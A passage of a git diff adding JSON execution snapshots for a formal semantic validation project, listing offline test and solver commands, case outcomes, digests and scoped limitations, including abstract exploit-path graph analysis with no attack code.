"implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1179-execution-v30", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1179-execution-v30", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "340ba7aad2897c8404554787754976986cead084", + "source_state": { + "base_revision": "340ba7aad2897c8404554787754976986cead084", + "checkout_state": "modified", + "implementation_digest": "629eda2ab733a9989bbb4d0605da8221d319831b5d731c5b3cbb3fdaa1123fbf", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v31.json b/docs/research/formal-semantic-validation/execution-snapshot-v31.json new file mode 100644 index 000000000..10abfc6b2 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v31.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1179-execution-v30", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v30.json", + "release_revision": "31.0.0", + "release_sha256": "2ff815191d32934375ef9d49d8962d8bb00f7dceb0df7f6253bd59ec5bf07975" + }, + "captured_at": "2026-09-18T17:37:29+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1183-execution-v31", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1183-execution-v31", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + 